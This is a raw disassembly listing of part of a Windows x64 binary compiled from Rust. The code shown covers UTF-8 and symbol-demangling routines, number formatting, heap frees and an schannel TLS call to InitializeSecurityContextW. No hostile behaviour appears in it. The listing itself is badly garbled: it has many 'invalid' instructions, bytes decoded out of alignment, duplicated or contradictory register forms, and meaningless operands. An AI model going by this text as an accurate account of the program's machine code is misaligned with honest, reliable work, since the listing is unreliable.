call qword [rax + 0x18]
test al, al
jne 0x1400cee3d
cmp r14, rdi
jbe 0x1400ce9c7
cmp byte [r15 + rdi], 0xc0
jge 0x1400ce9cd
jmp 0x1400cef01
jne 0x1400cef01
add r15, rdi
sub r14, rdi
jmp 0x1400ceda9
movzx ecx, byte [r15 + 1]
cmp cl, 0xbf
jle 0x1400cef74
movzx eax, cl
test cl, cl
js 0x1400ced22
cmp eax, 0x2e
jne 0x1400ced76
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x140140b38]
call qword [rax + 0x18]
test al, al
jne 0x1400cee3d
cmp r14, 3
jb 0x1400cea2d
cmp byte [r15 + 2], 0xc0
jl 0x1400cefda
add r15, 2
add r14, 0xfffffffffffffffe
jmp 0x1400ceda9
jne 0x1400ceeaa
mov r13, rdx
mov rax, r15
mov qword [rbp + 0x10], r14
add r13, 2
je 0x1400cea91
mov rax, r14
sub rax, r13
jbe 0x1400cea64
cmp byte [r15 + r13], 0xc0
jge 0x1400cea6a
jmp 0x1400cef45
jne 0x1400cef45
add r13, r15
cmp rdx, 1
mov r12, qword [rbp + 0x20]
mov qword [rbp + 0x10], rax
je 0x1400ceb5c
cmp rdx, 2
je 0x1400ceaaf
mov rax, r13
test rdx, rdx
je 0x1400ce390
cmp byte [r15 + 1], 0x75
jne 0x1400ce390
cmp byte [r15 + 2], 0xbf
mov r13, rax
jg 0x1400ceb78
jmp 0x1400cef7d
movzx ecx, word [rdi]
lea rax, [0x140140bf5]
cmp ecx, 0x5053
je 0x1400cec65
movzx ecx, word [rdi]
lea rax, [0x1401471e0]
cmp ecx, 0x5042
je 0x1400cec65
movzx ecx, word [rdi]
lea rax, [0x140140bf4]
cmp ecx, 0x4652
je 0x1400cec65
movzx ecx, word [rdi]
lea rax, [0x140140bf3]
cmp ecx, 0x544c
je 0x1400cec65
movzx ecx, word [rdi]
lea rax, [0x140140bf2]
cmp ecx, 0x5447
je 0x1400cec65
movzx ecx, word [rdi]
lea rax, [0x140140bf1]
cmp ecx, 0x504c
je 0x1400cec65
movzx ecx, word [rdi]
lea rax, [0x14014a1c8]
cmp ecx, 0x5052
je 0x1400cec65
mov rax, r13
cmp byte [r15 + 1], 0x75
je 0x1400cea9c
jmp 0x1400ce390
movzx ecx, byte [rdi]
lea rax, str._____
cmp ecx, 0x43
je 0x1400cec65
cmp ecx, 0x75
jne 0x1400ce390
lea rcx, [r15 + 2]
add rdi, rdx
dec rdx
mov rax, rcx
jmp 0x1400cebae
add rax, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400cebae
nop
add r8d, 0xffffff9f
cmp r8d, 6
jae 0x1400cec8d
mov r12b, 1
cmp rax, rdi
je 0x1400cec90
movzx r11d, byte [rax]
movzx r8d, r11b
test r8b, r8b
js 0x1400cebe0
inc rax
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ceba0
jmp 0x1400cebae
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rax + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ceb87
movzx r10d, byte [rax + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400cec44
movzx r8d, byte [rax + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400cec90
add rax, 4
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ceba0
jmp 0x1400cebae
add rax, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ceba0
jmp 0x1400cebae
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 1
mov rdx, rax
call qword [r9 + 0x18]
test al, al
mov rcx, qword [rbp + 0x10]
je 0x1400ce775
jmp 0x1400cee3d
xor r12d, r12d
mov r8d, 0x10
call fcn.140019500
test al, 1
jne 0x1400ce390
shr rax, 0x20
mov ecx, eax
xor ecx, 0xd800
add ecx, 0xffef0000
cmp ecx, 0xffef0800
mov ecx, 0x110000
cmovb eax, ecx
cmp eax, 0x110000
sete cl
xor r12b, 1
or r12b, cl
jne 0x1400ce390
mov dword [rbp - 0x38], eax
mov ecx, eax
shl ecx, 0xb
cmp ecx, 0x88050000
jae 0x1400cee27
cmp eax, 0x20
jb 0x1400ce390
add eax, 0xffffff81
cmp eax, 0x21
jb 0x1400ce390
lea rcx, [rbp - 0x38]
mov r12, qword [rbp + 0x20]
mov rdx, r12
call fcn.140017ef0
test al, al
mov rcx, qword [rbp + 0x10]
je 0x1400ce775
jmp 0x1400cee3d
and eax, 0x1f
movzx r8d, byte [r15 + 2]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x1400ced67
movzx edx, byte [r15 + 3]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x1400cedb4
movzx ecx, byte [r15 + 4]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or eax, ecx
cmp eax, 0x2e
je 0x1400ce9fa
jmp 0x1400ced76
shl eax, 6
or eax, r8d
cmp eax, 0x2e
je 0x1400ce9fa
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x1401463a1]
call qword [rax + 0x18]
test al, al
jne 0x1400cee3d
cmp byte [r15 + 1], 0xc0
jl 0x1400cefba
inc r15
dec r14
mov rcx, r14
mov r13, r15
jmp 0x1400ce775
shl eax, 0xc
or eax, edx
cmp eax, 0x2e
je 0x1400ce9fa
jmp 0x1400ced76
cmp byte [r13 + 1], 0xbf
jle 0x1400cef9a
inc r13
lea rcx, [rax - 1]
jmp 0x1400ce76e
movups xmm0, xmmword [rax + 8]
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x20], 0
mov qword [rbp - 0x18], r12
mov dword [rbp - 0x10], 0
lea rcx, [rbp - 0x38]
mov dl, 1
call fcn.1400c8880
mov r15d, eax
jmp 0x1400cee10
xor r15d, r15d
mov eax, r15d
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x140111d00]
mov ecx, 1
mov edx, 1
call fcn.140104670
mov r15b, 1
jmp 0x1400cee10
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
call fcn.140104a40
mov dl, 1
mov byte [rbp - 0x38], dl
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140140968]
lea r8, [rbp - 0x38]
mov edx, 0x2b
call fcn.1401049b0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, r14
mov r9, r14
call fcn.140104b90
xor edx, edx
cmp r11d, 0xa
adc dl, 1
jmp 0x1400cee50
mov dl, 2
jmp 0x1400cee50
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r15
mov rdx, r14
call fcn.140104b90
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov rdx, r14
mov r8, rax
mov r9, r14
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
xor r8d, r8d
mov r9, rdi
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
mov r8, rdi
mov r9, r14
call fcn.140104b90
xor edx, edx
jmp 0x1400cee50
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rbp + 0x18]
xor r8d, r8d
call fcn.140104b90
call fcn.140104bb0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
mov r8, r13
mov r9, r14
call fcn.140104b90
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400cefa1
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400cefc1
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400cefc1
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdi
mov r9, rdx
call fcn.140104b90
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rcx
mov r8d, 1
mov rcx, r13
mov rdx, rax
mov r9, rax
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r15
mov rdx, r14
mov r9, r14
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r15
mov rdx, r14
mov r9, r14
call fcn.140104b90
int3
shr eax, 6
or al, 0xc0
mov byte [rbp - 4], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
mov r8d, 2
jmp 0x1400cf118
cld
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 2], dl
mov r8d, 3
jmp 0x1400cf118
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
cmp qword [rcx], 0
cmp dword [rcx], 0
setne al
sub qword [rcx + 8], r8
setb dl
or dl, al
movzx edx, dl
mov qword [rcx], rdx
mov al, 1
test dl, dl
jne 0x1400cf147
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [rbp - 4]
lea edx, [rbp - 4]
lea edx, [rbp - 4]
call qword [rax + 0x18]
nop
add rsp, 0x30
pop rbp
ret
int3
shr rdx, 0x1a
imul eax, edx, 0xfa0a1f00
add ecx, eax
mov eax, 0xd1b71759
imul rax, rcx
shr rax, 0x2d
imul r9d, eax, 0x2710
sub ecx, r9d
imul r9, rax, 0x68db9
shr r9, 0x20
imul r9d, r9d, 0x2710
sub eax, r9d
imul r9d, ecx, 0x147b
shr r9d, 0x13
imul r10d, r9d, 0x64
sub ecx, r10d
movzx ecx, cx
imul r10d, eax, 0x147b
shr r10d, 0x13
imul r11d, r10d, 0x64
sub eax, r11d
movzx eax, ax
lea r11, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
movzx ecx, word [r11 + rcx*2]
mov word [r8 - 2], cx
movzx ecx, word [r11 + r9*2]
mov word [r8 - 4], cx
movzx eax, word [r11 + rax*2]
mov word [r8 - 6], ax
mov dword [r8 - 6], eax
mov dword [r8 - 6], eax
movzx eax, word [r11 + r10*2]
mov word [r8 - 8], ax
add r8, 0xfffffffffffffff8
mov rcx, rdx
cmp ecx, 0x2710
jb 0x1400cf2e3
mov edx, 0xd1b71759
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
nop word cs:[rax + rax]
ror dword [rbp + rcx*4 + 0xd], 1
invalid
mov eax, ecx
imul rax, rdx
shr rax, 0x2d
imul r10d, eax, 0xffffd8f0
add r10d, ecx
imul r11, r10, 0x51eb851f
shr r11, 0x25
imul esi, r11d, 0x64
sub r10d, esi
movzx r10d, word [r9 + r10*2]
mov word [r8 - 2], r10w
movzx r10d, word [r9 + r11*2]
mov word [r8 - 4], r10w
add r8, 0xfffffffffffffffc
cmp ecx, 0x5f5e0ff
mov ecx, eax
ja 0x1400cf250
cmp eax, 0x63
jbe 0x1400cf2ca
movzx ecx, ax
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul edx, ecx, 0x64
sub eax, edx
movzx eax, ax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
movzx eax, word [rdx + rax*2]
mov word [r8 - 2], ax
add r8, 0xfffffffffffffffe
mov eax, ecx
cmp eax, 9
jbe 0x1400cf2ec
mov eax, eax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
movzx eax, word [rcx + rax*2]
mov word [r8 - 2], ax
pop rsi
ret
mov eax, ecx
cmp eax, 0x63
ja 0x1400cf29d
jmp 0x1400cf2ca
or al, 0x30
mov byte [r8 - 1], al
pop rsi
ret
mov word [rax + rbx*2], r12w
inc rbx
mov qword [rsp + 0x38], rbx
test rdi, rdi
je 0x1400cf8a0
test r14w, r14w
jne 0x1400cf800
mov rbp, qword [rsp + 0x28]
cmp r13w, 1
sub byte [rsi + 0x41], ah
cmp ebp, 1
jne 0x1400cf97f
xor r13d, r13d
mov edi, 0
mov r12d, 0
mov r8d, 0
cmp rbx, rbp
jne 0x1400cf813
test dword [rsi - 1], eax
invalid
invalid
jmp 0x1400cf8fe
inc r8
lea rcx, [rsp + 0x28]
mov rdx, rbx
call fcn.140109cf0
mov rax, qword [rsp + 0x30]
jmp 0x1400cf813
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsi + 0x10]
shl rax, 1
test rax, rax
je 0x1400cf9a3
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi + 0x10], rbp
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rbx
mov rax, rsi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r15, qword [r8 - 0x48]
add r15, qword [r8 - 0x30]
add r15, qword [r8 - 0x18]
add r15, qword [r8]
add rcx, 4
add ecx, 4
add ecx, 4
add r8, 0x60
cmp rdx, rcx
jne case.0x140093752.378
test rax, rax
je 0x1400cfa7d
lea rcx, [rcx + rcx*2]
lea rcx, [rdi + rcx*8]
add rcx, 0x10
shl eax, 3
lea rax, [rax + rax*2]
xor edx, edx
nop word cs:[rax + rax]
add r15, qword [rcx + rdx]
add rdx, 0x18
cmp rax, rdx
jne 0x1400cfa70
add r15, r14
je 0x1400cfaa7
js 0x1400cfc51
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
leave
leave
mov rdx, r15
call fcn.1400e0010
test rax, rax
je 0x1400cfc56
mov rbx, rax
jmp 0x1400cfaac
mov ebx, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], 0
test r14, r14
je 0x1400cfb97
shl r14, 3
lea r13, [r14 + r14*2]
xor ebp, ebp
lea r15, [rsp + 0x30]
xor r14d, r14d
jmp case.0x1400978a6.318
add byte [rsi - 0x78], al
and al, 0x33
mov byte [rbx + r14], r12b
inc r14
mov qword [rsp + 0x40], r14
mov rdx, qword [rdi + rbp + 8]
mov rax, qword [rsp + 0x30]
sub rax, r14
cmp rax, r12
jb 0x1400cfb40
mov rbx, qword [rsp + 0x38]
lea rcx, [rbx + r14]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r14, r12
add esi, esp
add esi, esp
mov qword [rsp + 0x40], r14
and al, 0x40
add rbp, 0x18
cmp r13, rbp
je 0x1400cfb5b
mov r12, qword [rdi + rbp + 0x10]
cmp r14, qword [rsp + 0x30]
jne 0x1400cfae0
dec dword [rax - 0x75]
pop rsp
and al, 0x38
mov r14, qword [rsp + 0x40]
jmp 0x1400cfae0
mov rcx, r15
mov rbx, rdx
mov rdx, r14
mov r8, r12
call fcn.140104c70
mov rdx, rbx
mov r14, qword [rsp + 0x40]
jmp 0x1400cfafe
lea rdi, [r14 + 0xa]
movabs rax, 0x7ffffffffffffffd
mov eax, 0xfffffffd
invalid
invalid
invalid
jg 0x1400cfbb2
cmp edi, eax
jb case.0x140071b87.490
mov eax, 0xfffffffd
invalid
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140143d28]
lea r8, [rsp + 0x2f]
mov edx, 0x2b
call fcn.1401049b0
mov edi, 0xa
xor r14d, r14d
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x1400cfc30
mov r15, rax
lea eax, [r14 + 6]
mov dword [r15], eax
mov dword [r15 + 4], 2
add al, byte [rax]
add byte [rax], al
mov word [r15 + 8], r14w
cmp r14, 0xfffffffffffffff6
mov dword [rcx - 0x73], 0x89410646
invalid
invalid
jae 0x1400cfc3d
mov rcx, r15
add rcx, 0xa
mov rdx, rbx
fimul dword [rbp - 0x77]
invalid
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 4
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r15
mov dword [rsi + 0x10], edi
mov dword [rsi + 0x10], edi
cmp qword [rsp + 0x30], 0
je 0x1400cfc1e
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 4
mov rdx, rdi
call fcn.140104380
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
lea eax, [0x140143e00]
mov ecx, 0xa
mov rdx, rdi
call fcn.140104660
call fcn.140010910
mov ecx, 1
mov rdx, r15
mov edx, edi
mov edx, edi
cli
call fcn.140104360
int3
int3
sbb byte [rax - 0x73], cl
adc eax, 0x740c5
invalid
invalid
add byte [rcx - 0x48], al
or eax, dword [rax]
add byte [rax], al
invalid
jmp rax
push rdi
push rbp
push rbx
sub rsp, 0xf8
movaps xmmword [rsp + 0xe0], xmm6
mov r14, rdx
mov rdi, rcx
iretd
xorps xmm6, xmm6
movaps xmmword [rsp + 0x80], xmm6
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x68], 0
invalid
iretd
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x68], 0
invalid
add byte [rax - 0x39], cl
and al, 0x70
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x70], 8
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
mov bpl, 1
mov esi, 8
or byte [rax], al
add byte [rax], al
movabs rax, 0x8000000000000000
mov eax, 0
add byte [rax], al
add byte [rax + 0x75013949], al
invalid
mov eax, 0
add byte [rax], al
add byte [rax + 0x75013949], al
invalid
xor eax, eax
xor r15d, r15d
jmp 0x1400cfd64
outsd dx, dword [rsi]
mov r12, r8
mov rdx, qword [r9 + 8]
mov r8, qword [r9 + 0x10]
lea rcx, [rsp + 0x90]
call fcn.1400cf9e0
mov r15, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
je 0x1400cfd5c
invalid
add byte [rbp - 0x7b], cl
push qword [rdx + rdi + 0x4c]
mov r13, qword [rsp + 0x98]
mov ebp, dword [rsp + 0x98]
add byte [rax - 0x73], cl
and al, 0x68
lea rcx, [rsp + 0x68]
lea ecx, [rsp + 0x68]
call fcn.1400b1950
mov rsi, qword [rsp + 0x70]
jo 0x1400cfd82
mov eax, dword [rsp + 0x78]
jo 0x1400cfd82
mov eax, dword [rsp + 0x78]
and al, 0x78
mov rcx, rax
shl rcx, 4
loope case.0x140071b87.478
loope case.0x140071b87.478
mov dword [rsi + rcx], r13d
mov dword [rsi + rcx + 4], 0x12
mov qword [rsi + rcx + 8], rbx
pop rsp
invalid
invalid
add al, 0x12
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
invalid
inc eax
xor ebp, ebp
jmp case.0x140093752.389
invalid
add eax, 0x3145c031
dec dword [rbp - 0x77]
mov r8, r12
invalid
xor eax, eax
xor r15d, r15d
mov r8, r12
mov dword [rsp + 0xb0], 0
mov dword [rsp + 0xb4], eax
and al, 0xb4
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
invalid
add byte [rax], al
invalid
and al, 0xb4
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
mov eax, 0xf000000
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm6
sub dword [rsp + 0xc0], esi
rol byte [rax], 0
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
movabs rax, 0x100000000
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
and al, 0xd0
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xd8], rax
and al, 0xd8
add byte [rax], al
add bh, al
and al, 0x64
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rbx*8], ah
and al, 0xd8
and al, 0xd8
add byte [rax], al
add bh, al
and al, 0x64
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsi + 0x10], al
movups xmm0, xmmword [r14 + 0x10]
movups xmm0, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x90], xmm0
lea rax, [rsp + 0x64]
mov qword fs:[rsp + 0x50], rax
mov qword fs:[rsp + 0x50], rax
lea rax, [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rax
add byte [rax], al
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
lea rax, [rsp + 0x80]
add byte [rax], al
mov qword [rsp + 0x40], rax
and al, 0x40
lea rax, [rsp + 0xb0]
add byte [rax], al
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
xor byte [rax - 0x39], cl
and al, 0x58
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
cmp byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
and al, 0x28
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x28], 0
add byte [rax], al
mov dword [rsp + 0x20], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x90]
xor edx, edx
mov r9d, 0x9819c
mov ecx, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
add eax, dword [rax]
cmp eax, 0x90312
jne case.0x14009a63c.321
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
or byte [r15], r9b
mov qword [rdi + 8], rcx
movaps xmm0, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], al
sub byte [rsp + 0xc0], al
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
movups xmmword [rdi + 0x18], xmm0
adc dword [rdi + 0x18], eax
mov ecx, 1
mov qword [rdi], rax
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
invalid
mov dword [rdi + 0x10], ecx
adc byte [rax - 0x7c], al
test bpl, bpl
in eax, dx
je 0x1400cfe78
jmp 0x1400cfe94
shl rax, 0x20
or rax, 2
loopne 0x1400cfe83
mov ecx, 2
mov qword [rdi], rax
add byte [rax - 0x77], cl
invalid
mov qword [rdi + 0x10], rcx
test bpl, bpl
in eax, dx
jne 0x1400cfe94
cmp r15, 0x11
cmp edi, 0x11
jb 0x1400cfe82
add al, 0x48
mov ebx, dword [rbx - 8]
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
jg 0x1400cfe5a
or al, byte [rax]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x7d], cl
jl 0x1400cfebc
cmp qword [rsp + 0x68], 0
je 0x1400cfeae
invalid
push 0x48127400
mov ecx, dword [0x14017d208]
adc cl, byte [rax - 0x75]
or eax, 0xad365
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x3f552
adc eax, 0x3f552
push rdx
cmc
add eax, dword [rax]
movaps xmm6, xmmword [rsp + 0xe0]
sub byte [rsp + 0xe0], dh
add rsp, 0xf8
clc
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
push rcx
or byte [rbx + rcx*4 + 0x42], cl
and byte [rbx + r9*4 + 0x4a], cl
and byte [rbx + r9*4 + 0x4a], cl
sub byte [rax - 0x77], cl
sub byte [rax - 0x77], cl
mov rcx, rax
mov rdx, r10
mov edx, edx
ror dword [rcx + rcx*4 - 0x2e], 0xe9
mov edx, edx
jmp fcn.140017020
jno 0x1400cfedd
jno 0x1400cfedd
dec esp
int3
jne case.0x14009a63c.322
mov rax, qword [rcx + 8]
or byte [r8 - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 1
jmp 0x1400cff31
and byte [rbx], al
jmp 0x1400cff31
mov rax, qword [rcx + 8]
mov qword [rsp + 0x28], rax
or byte [r8 - 0x77], cl
and al, 0x28
mov byte [rsp + 0x20], 2
and byte [rdx], al
lea rcx, [rsp + 0x20]
and al, ch
movsd dword [rdi], dword [rsi]
mov ah, 3
add byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
add esp, 0x38
call fcn.14010b3e0
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
cmp bl, al
ret
int3
int3
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
sub esp, 0xa8
sub esp, 0xa8
test al, 0
add byte [rax], al
movzx eax, byte [rcx]
cmp eax, 3
clc
invalid
clc
add esi, dword [rax + rdi - 0x7d]
je 0x1400cffa3
cmp eax, 7
je 0x1400cffa3
cmp byte [rbx - 0x7af0f808], al
xchg edx, eax
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
cmp eax, 7
jne case.0x1400aa870.237
invalid
xchg edx, eax
add byte [rax], al
invalid
test dword [rdx + 0x48000000], edx
mov ecx, dword [rdx + 0x20]
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x74dd1
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x74dd1
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
add rsp, 0xa8
pop rbx
invalid
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp rax
movabs r8, 0xfffffffffffff
mov rbx, qword [rcx + 8]
pop rcx
invalid
invalid
str word [rax - 0x75]
pop rcx
or byte [rax - 0x77], cl
mov rcx, rbx
mov rcx, rbx
not rcx
not ecx
not ecx
mov rax, rbx
and rax, r8
and eax, eax
and eax, eax
movabs r9, 0x7ff0000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test rcx, r9
leave
jne 0x1400d0042
jbe 0x1400cfffe
xor ecx, ecx
leave
test rbx, rbx
test ebx, ebx
sets cl
lea r8, [0x140143f2f]
push rsp
invalid
invalid
invalid
push rsp
invalid
invalid
lea r9, [0x140143f32]
cmovns r9, r8
cmovns ecx, eax
add byte [rbp + 0xf], cl
enter 0xffffffffffff8348, 0xffffffffffffffc1
enter 0xffffffffffff8348, 0xffffffffffffffc1
cmovns ecx, eax
enter 0xffffffffffff8348, 0xffffffffffffffc1
add rcx, 3
test rax, rax
test eax, eax
add ecx, dword [rax - 0x7b]
sar byte [rbx + 3], 0x48
mov ebx, 3
invalid
test eax, eax
mov ebx, 3
cmove rbx, rcx
cmove ebx, ecx
add byte [rax], al
add byte [rax + 0xf], cl
invalid
cmove ebx, ecx
invalid
lea rax, [0x140143f36]
cmove rax, r9
invalid
invalid
invalid
cmove eax, ecx
shr ecx, 0xb1
jmp case.0x1400c36e0.161
or dword [rax], eax
add byte [rcx + 0x58d4cc0], cl
mov eax, eax
lea r8, [0x140174eb0]
lea eax, [0x140174eb0]
